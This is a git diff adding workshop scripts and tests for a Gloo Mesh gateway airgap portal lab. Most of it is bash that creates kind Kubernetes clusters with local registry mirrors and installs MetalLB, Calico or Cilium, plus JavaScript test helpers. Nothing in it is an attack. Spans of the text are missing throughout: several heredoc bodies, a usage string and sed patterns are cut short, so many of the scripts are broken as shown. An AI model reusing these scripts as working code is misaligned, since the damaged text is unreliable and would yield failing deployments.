+cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/register-domain.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/snapdiff.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-5/airgap/portal/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-exec.js b/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await 